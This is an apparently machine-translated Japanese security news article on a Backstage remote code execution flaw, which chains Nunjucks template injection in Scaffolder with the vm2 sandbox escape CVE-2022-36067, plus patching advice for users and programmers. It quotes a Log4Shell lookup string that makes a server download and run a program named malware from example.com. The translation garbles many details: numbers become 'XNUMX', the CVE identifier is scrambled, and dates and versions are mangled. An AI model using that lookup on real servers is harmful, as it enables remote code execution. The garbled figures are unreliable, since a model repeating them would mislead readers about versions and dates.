クラウド コーディング セキュリティ会社 Oxeye の研究者が、人気のあるクラウド開発ツールキット Backstage で最近発見した重大なバグを報告しました。
彼らの レポート バグの仕組みの説明と、バグの悪用方法を示す概念実証 (PoC) コードが含まれています。
Backstage は、クラウド開発者ポータルとして知られているものです。ビジネス ロジック バックエンドの一種であり、Web ベースの API (アプリケーション プログラミング インターフェイス) を簡単に構築して、社内外のコーダーがオンライン サービスと対話できるようにします。
プロジェクト自体の言葉で言えば、もともとは Spotify で作成されましたが、現在は オープンソース GutHub で:
Backstage は、開発者ポータルを構築するためのオープン プラットフォームです。 一元化されたソフトウェア カタログを利用する Backstage は、マイクロサービスとインフラストラクチャの秩序を回復し、製品チームが自律性を損なうことなく高品質のコードを迅速に出荷できるようにします。
Backstage は、すべてのインフラストラクチャ ツール、サービス、およびドキュメントを統合して、合理化された開発環境をエンド ツー エンドで作成します。
いいえ、それが何を意味するのかはよくわかりませんが、ツールキットが JavaScript で記述されており、サーバー側の JavaScript システムを使用して実行されることはわかっています。 node.js
、NPM エコシステムからサプライ チェーンの依存関係の網を引き込みます。
NPMはの略です ノード パッケージ マネージャーは、バックエンドの JavaScript コードが、暗号化やデータベース管理からロギングやバージョン管理に至るまで、事前に作成された一般的なヘルパー ツールを提供する幅広いオープン ソース ライブラリを簡単に利用できるようにするための自動化ツールキットです。
リモートコード実行
残念ながら、今日公開されたバグにパッチが適用されていない場合、認証されていない部外者 (大まかに言えば、サーバーに API 接続できる人) が、ネットワーク上のビジネス ロジック サーバー内でリモート コード実行 (RCE) をトリガーする方法を提供する可能性があります。
幸いなことに、Oxeye の記事を正しく解釈した場合、彼らが Backstage RCE について説明している攻撃は、最終的に特定のバグに依存する一連のコーディングの欠陥に依存しています。 CVE-2022-36067 Backstage が依存する vm2 と呼ばれるサプライ チェーン コンポーネントで。
ご参考までに、vm2 は汎用の NPM モジュールであり、「仮想マシン サンドボックス」を実装しています。これは、潜在的に危険な JavaScript をサーバー上でより安全に実行できるようにすることを目的としています。
その vm2022 の CVE-36067-2 バグは 報告 2022 年 XNUMX 月に Oxeye 自身によって (Oxeye は、サンドボックスから抜け出したため、PR に適した「Sandbreak」という名前を付けました)、 すぐにパッチを当てた ほぼ 2 か月前に vmXNUMX チームによって作成されました。
したがって、Backstage ユーザーであれば、Backstage セットアップでリスクのあるすべてのコンポーネントにパッチを適用したことを確認する必要があります。
…しかし、数か月前に Sandbreak に対して脆弱だった vm2 コンポーネントにパッチを適用した場合、Oxeye の最新の開示で説明されているエクスプロイトに対して直接脆弱ではないようです。
また、Backstage サーバーが適切なサイバーセキュリティ ガイドラインが示唆するように構成されていて、ネットワーク エッジとネットワーク内の両方で認証が必要である場合、「研究目的のみ」であると判断された「有益な」個人からのランダムなプローブの危険にさらされることはありません。サイバー脅威の「研究」に関心があることを示すため。
「エメンタールチーズ」攻撃
簡単に言えば、新たに明らかになったセキュリティの問題は、攻撃者が各スライスに少なくとも XNUMX つの穴を並べることができれば、エメンタール チーズのスライスに穴が連続して浸透するなど、一連のセキュリティ問題の副作用です。
私たちが理解しているように、Backstage には Scaffolder と呼ばれるコンポーネントが含まれています。これは、その名前が示すように、開発者コミュニティが必要または必要とするさまざまなアドオン (プラグインと呼ばれる) を管理するのに役立ちます。
一方、Scaffolder は、Nunjucks として知られる Mozilla のメッセージ ロギング システムを利用します。 文字列テンプレート in node.js
円、として 文字列補間 Javaの世界で、そして 文字列置換 Bash などのコマンド シェルを使用するシステム管理者に。
文字列補間がベルを鳴らす場合、それはおそらくそれが ログ4シェル 脆弱性は 2021 年 XNUMX 月にさかのぼり、 Follina 2022年半ばのバグ。
文字列テンプレートの特殊な「コーディング文字」に基づいてロギング メッセージの内容を書き換えることができる場所です。 $USER
サーバーで使用されているアカウント名に置き換えられる可能性があります。 ${PID}
現在のプロセス ID を取得する場合があります。
Log4Shell の極端な例では、奇妙に見える呪文 ${jndi:ldap://example.com:8888/malware}
サーバーを直接だまして、というプログラムをダウンロードさせることができます malware
から example.com
バックグラウンドで静かに実行します。
つまり、信頼できないソース (外部ユーザーなど) から到着したデータが、使用される文字列テンプレートまたは文字列補間関数にやみくもに渡されないようにする必要があります。 テンプレートテキスト自体として.
たとえば、リモートユーザーがユーザー名を次のように指定してサーバーをだまそうとした場合 ${{RISKY}}
(テンプレートライブラリが使用すると仮定 ${{...}}
特別なマーカーとして)、ロギング コードが、その見苦しいテキストを受信したとおりに正しく記録するようにする必要があります…
…ログに記録されるテキストがログ機能自体を制御できるようにするのではなく!
古い童謡の言葉を借りれば、歌ってしまわないようにする必要があります。 ${{BUCKET}}
、親愛なるリザ、親愛なるリザ、私には穴があります ${{BUCKET}}
、親愛なるライザ。 ホール!"
安全毛布に包まれて
公平を期すために言うと、Nunjucks のおそらく強力すぎるテンプレート化/補間機能は、Backstage によってさらに別のサプライ チェーン コンポーネント、つまり前述のサンドボックス システム vm2 内にラップされています。 -トラップされた入力データ。
残念なことに、Oxeye の研究者は、Backstage サーバーで潜在的なリモート コード実行を実現するために、Backstage + Scaffolder + Nunjucks で新たに発見された文字列テンプレート コード トリガー パスを vm2022 セキュリティ ラッパーの古い CVE-36067-2 脆弱性と組み合わせることができました。 .
何をするか?
Backstage ユーザーの場合:
- Backstage とその依存関係の最新バージョンがあることを確認します。 や
plugin-scaffolder-backend
成分。 Oxeye によると、Backstage コードの関連するバグは 01 年 2022 月 2022 日までにパッチが適用されたため、そのデータ以降の公式のポイント リリースには修正が含まれているはずです。 執筆時点 [11-1-16T00:XNUMXZ]、バックステージを含む 1.6.0, 1.7.0 および 1.8.0、それぞれ 2022 年 09 月 21 日、2022 年 10 月 18 日、2022 年 11 月 15 日にリリースされました。 - Backstage インストールで、期待どおりに認証が構成されていることを確認します。 Oxeye は、認証はデフォルトでオフになっていると主張しており、 バックステージのガイドライン、バックエンド サーバー (いずれにせよ、外部に公開されることはおそらくないはずです) は、依然として認証されていないアクセスを許可していました。 それはあなたが望むことかもしれませんが、セットアップがあなたの意図と一致することを確認する理由としてこの問題を利用することをお勧めします.
- Backstage インフラストラクチャのどの部分にインターネットからアクセスできるかを確認します。 繰り返しになりますが、最近行っていない場合は、この問題を理由として自分のネットワークを外部からスキャンしてください。
node.js/NPM ユーザーの場合:
- vm2 サンドボックス コンポーネントの最新バージョンがあることを確認してください。 Backstage を持っていなくても、使用する他のソフトウェアの依存関係としてこれをインストールしている場合があります。 CVE-2022-36067 の脆弱性は 2022 年 08 月 28 日にパッチが適用されたため、vm2 バージョンが必要です 3.9.11 以降。
プログラマーの場合:
- 強力なロギング関数を呼び出すときは、できる限り防御してください。 強力なテンプレート/補間機能を含むログ サービス (Nunjucks または Log4J を含む) を使用している場合は、必要のない機能をオフにして、誤って悪用されないようにしてください。 信頼されていない入力自体がテンプレートとして使用されないようにして、攻撃者が直接危険な入力文字列をローリングするのを防ぎます。
- 他の予防措置に関係なく、ログの入力と出力をサニタイズします。 将来、他の誰かがあなたのログファイルを開く必要があることに注意してください。 スクリプト タグが残っている HTML フラグメントなど、不注意によるブービー トラップがログ ファイルに書き込まれることを許可しないでください (誰かが誤ってブラウザでファイルを開く可能性があります)。
信頼できるソースから入力を受け取った場合でも、使用する前に独自のサニタイズ チェックを行わない理由はほとんどありません。
(パフォーマンス上の理由などで例外を正当化する場合もありますが、それは規則ではなく例外であるべきです。)
まず、もう一度チェックすることで、以前のコーダーが誠意を持って犯した可能性のあるエラーを見つけることができます。 XNUMX つ目は、エコシステムの他の部分が侵害された場合に、悪意のあるデータやブービー トラップされたデータの拡散を制限するのに役立ちます。
前述のエメンタール チーズのスライスについては、すべてのシートに少なくとも XNUMX つの穴が並んでいる場合、それらは浸透しますが…
…穴がまったく並んでいないシートが少なくとも XNUMX 枚あれば、それらは不浸透性です。